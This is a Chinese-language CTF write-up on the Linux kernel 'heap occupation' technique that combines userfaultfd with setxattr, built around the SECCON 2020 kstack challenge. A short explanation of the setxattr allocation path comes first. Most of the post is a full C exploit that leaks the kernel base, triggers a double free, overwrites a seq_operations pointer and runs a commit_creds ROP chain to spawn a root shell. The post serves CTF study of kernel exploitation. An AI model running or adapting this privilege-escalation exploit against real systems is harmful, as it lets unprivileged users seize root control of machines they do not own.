利用userfaultfd + setxattr堆占位

利用userfaultfd + setxattr堆占位

很久之前便看到过这个技术的名字,但是由于自己的摆烂,一直没有管。今天终于找到时间好好看一下这个技术的利用方式。利用userfaultfd + setxattr算是内核里一种比较通用的利用技术,在实际场景中通常和堆喷射技术结合起来。但是在某些CTF的题目中,我们已经有了UAF,故并不需要喷射大量的结构体,而是需要在特定的时间对某些object进行写入与占用。笔看到其他师傅的文章中把它称作为堆占位。在之前的博客中我就写过关于userfaultfd利用方式的介绍,故本文主要关注对setxattr的利用。

setxattr系统调用

setxattr是一个很特殊的系统调用,它在内核空间可以实现几乎任意大小的object分配。

他的调用链如下:

SYS_setxattr()     path_setxattr()         setxattr()  

抛开这个系统调用的正常功能,我们看一下他对我们有用的关键源码:

static long setxattr(struct dentry *d, const char __user *name, const void __user *value,      size_t size, int flags) {     //...         kvalue = kvmalloc(size, GFP_KERNEL);         if (!kvalue)             return -ENOMEM;         if (copy_from_user(kvalue, value, size)) {      //,..      kvfree(kvalue);      return error; } 

我们可以看到首先是kvmalloc(size, GFP_KERNEL)分配出内存空间,接着通过copy_from_user(kvalue, value, size)向空间中拷贝数据,最后调用kvfree(kvalue);将其分配的空间释放。因为这里的value和size都是我们可控的,所以我们几乎就可以实现分配任意大小的object并向其中写入数据。但是在最后会将我们分配的object释放掉,那也就意味着我们前功尽弃了。所以我们得想办法不让他释放掉。那我们可以考虑搭配userfaultfd来使得拷贝过程被卡住,也就不会进行下一步的释放。我们可以想到一下场景:

我们通过mmap分配两个连续内存页,在第二个内存页上使用userfaultfd进行监视,并在第一个内存页尾写入我们想要的数据,那么此时我们调用setxattr,当copy_from_user拷贝到第二个内存页时就会卡住,这个object也自然不会被释放掉,从而达成我们的目的。

SECCON 2020 kstack来学习userfaultfd + setxattr堆占位的手法

exp:对着arttnba3师傅的exp改了改

#include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <unistd.h> #include <fcntl.h> #include <pthread.h> #include <poll.h> #include <string.h> #include <assert.h> #include <sys/types.h> #include <sys/xattr.h> #include <linux/userfaultfd.h> #include <sys/ioctl.h> #include <sys/syscall.h> #include <sys/mman.h> #include <sys/sem.h> #include <sys/ipc.h> #include <sys/shm.h> #include <semaphore.h>  #define PAGE_SIZE 0x1000  int fd; size_t seq_fd; size_t seq_fds[0x100]; size_t kernel_offset;  void ErrExit(char* err_msg) { 	puts(err_msg); 	exit(-1); }  void push(char* data) { 	if(ioctl(fd, 0x57AC0001, data) < 0) 		ErrExit("push error"); }  void pop(char* data) { 	if(ioctl(fd, 0x57AC0002, data) < 0) 		ErrExit("pop error"); }  void get_shell() { 	if (getuid() == 0) 	{ 		system("/bin/sh"); 	} 	else 	{ 		puts("[-] get shell error"); 		exit(1); 	} }  void register_userfault(void *fault_page,void *handler) { 	pthread_t thr; 	struct uffdio_api ua; 	struct uffdio_register ur; 	uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); 	ua.api = UFFD_API; 	ua.features = 0; 	if(ioctl(uffd, UFFDIO_API, &ua) == -1) 		ErrExit("[-] ioctl-UFFDIO_API error"); 	 	ur.range.start = (unsigned long)fault_page; // the area we want to monitor 	ur.range.len = PAGE_SIZE; 	ur.mode = UFFDIO_REGISTER_MODE_MISSING; 	if(ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) // register missing page error handling. when a missing page occurs, the program will block. at this time, we will operate in another thread 		ErrExit("[-] ioctl-UFFDIO_REGISTER error"); 	// open a thread, receive the wrong signal, and the handle it 	int s = pthread_create(&thr, NULL, handler, (void*)uffd); 	if(s!=0) 		ErrExit("[-] pthread-create error"); }  void *userfault_leak_handler(void *arg) { 	struct uffd_msg msg; 	unsigned long uffd = (unsigned long)arg; 	 	struct pollfd pollfd; 	int nready; 	pollfd.fd = uffd; 	pollfd.events = POLLIN; 	nready = poll(&pollfd, 1, -1); 	 	if(nready != 1) 		ErrExit("[-] wrong poll return value"); 	nready = read(uffd, &msg, sizeof(msg)); 	if(nready<=0) 		ErrExit("[-] msg error"); 	 	char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 	if(page == MAP_FAILED) 		ErrExit("[-] mmap error"); 	struct uffdio_copy uc; 	 	puts("[+] leak handler created"); 	pop(&kernel_offset); 	kernel_offset-= 0xffffffff81c37bc0; 	printf("[+] kernel offset: 0x%lxn", kernel_offset); 	 	// init page 	memset(page, 0, sizeof(page)); 	uc.src = (unsigned long)page; 	uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1); 	uc.len = PAGE_SIZE; 	uc.mode = 0; 	uc.copy = 0; 	ioctl(uffd, UFFDIO_COPY, &uc); 	puts("[+] leak handler done"); }  void *userfault_double_free_handler(void *arg) { 	struct uffd_msg msg; 	unsigned long uffd = (unsigned long)arg; 	 	struct pollfd pollfd; 	int nready; 	pollfd.fd = uffd; 	pollfd.events = POLLIN; 	nready = poll(&pollfd, 1, -1); 	 	if(nready != 1) 		ErrExit("[-] wrong poll return value"); 	nready = read(uffd, &msg, sizeof(msg)); 	if(nready<=0) 		ErrExit("[-] msg error"); 	 	char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 	if(page == MAP_FAILED) 		ErrExit("[-] mmap error");  	struct uffdio_copy uc; 	 	// init page 	memset(page, 0, sizeof(page)); 	 	puts("[+] double free handler created"); 	pop(page);  	uc.src = (unsigned long)page; 	uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1); 	uc.len = PAGE_SIZE; 	uc.mode = 0; 	uc.copy = 0; 	ioctl(uffd, UFFDIO_COPY, &uc); 	puts("[+] double free handler done"); }  size_t pop_rdi_ret = 0xffffffff81034505; size_t mov_rdi_rax_pop_rbp_ret = 0xffffffff8121f89a; size_t prepare_kernel_cred = 0xffffffff81069e00; size_t commit_creds = 0xffffffff81069c10; size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81600a34;  void *userfault_hijack_handler(void *arg) { 	struct uffd_msg msg; 	unsigned long uffd = (unsigned long)arg; 	 	struct pollfd pollfd; 	int nready; 	pollfd.fd = uffd; 	pollfd.events = POLLIN; 	nready = poll(&pollfd, 1, -1); 	 	if(nready != 1) 		ErrExit("[-] wrong poll return value"); 	nready = read(uffd, &msg, sizeof(msg)); 	if(nready<=0) 		ErrExit("[-] msg error"); 	 	char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 	if(page == MAP_FAILED) 		ErrExit("[-] mmap error"); 	struct uffdio_copy uc;  	puts("[+] hijack handler created"); 	puts("[+] tigger.."); 	for(int i=0; i<100; i++) 		close(seq_fds[i]); 	 	pop_rdi_ret += kernel_offset; 	mov_rdi_rax_pop_rbp_ret += kernel_offset; 	prepare_kernel_cred += kernel_offset; 	commit_creds += kernel_offset; 	swapgs_restore_regs_and_return_to_usermode += kernel_offset + 0x10;  	__asm__( 	"mov r15,   0xbeefdead;" 	"mov r14,   0x11111111;" 	"mov r13,   pop_rdi_ret;" 	"mov r12,   0;" 	"mov rbp,   prepare_kernel_cred;" 	"mov rbx,   mov_rdi_rax_pop_rbp_ret;"     	"mov r11,   0x66666666;" 	"mov r10,   commit_creds;" 	"mov r9,    swapgs_restore_regs_and_return_to_usermode;" 	"mov r8,    0x99999999;" 	"xor rax,   rax;" 	"mov rcx,   0xaaaaaaaa;" 	"mov rdx,   8;" 	"mov rsi,   rsp;" 	"mov rdi,   seq_fd;" 	"syscall" 	); 	 	printf("[+] uid: %d gid: %dn", getuid(), getgid()); 	get_shell();          	// init page 	memset(page, 0, sizeof(page)); 	uc.src = (unsigned long)page; 	uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1); 	uc.len = PAGE_SIZE; 	uc.mode = 0; 	uc.copy = 0; 	ioctl(uffd, UFFDIO_COPY, &uc); 	puts("[+] hijack handler done"); }  int main() { 	size_t size[0x10]; 	char* leak_buf; 	char* double_free_buf; 	char* hijack_buf; 	int shm_id; 	char* shm_addr; 	 	fd = open("/proc/stack",O_RDONLY); 	if(fd < 0) 		ErrExit("[-] open kstack error"); 	 	for(int i=0; i<100; i++) 		if ((seq_fds[i] = open("/proc/self/stat", O_RDONLY)) < 0) 			ErrExit("open stat error");  	leak_buf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 	register_userfault(leak_buf, userfault_leak_handler);  	shm_id = shmget(114514, 0x1000, SHM_R | SHM_W | IPC_CREAT); 	if (shm_id < 0) 		ErrExit("shmget error"); 	shm_addr = shmat(shm_id, NULL, 0); 	if (shm_addr < 0) 		ErrExit("shmat!"); 	if(shmdt(shm_addr) < 0) 		ErrExit("shmdt error");  	push(leak_buf); 	 	double_free_buf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 	register_userfault(double_free_buf, userfault_double_free_handler); 	 	push("fxc"); 	pop(double_free_buf); 	 	hijack_buf = (char*)mmap(NULL, 2*PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 	register_userfault(hijack_buf+PAGE_SIZE, userfault_hijack_handler); 	*(size_t*)(hijack_buf + PAGE_SIZE - 8) = 0xffffffff814d51c0 + kernel_offset;  	if ((seq_fd = open("/proc/self/stat", O_RDONLY)) < 0) 		ErrExit("open stat error");  	setxattr("/exp", "fxc", hijack_buf + PAGE_SIZE - 8, 32, 0); } 

发表评论

评论已关闭。

相关文章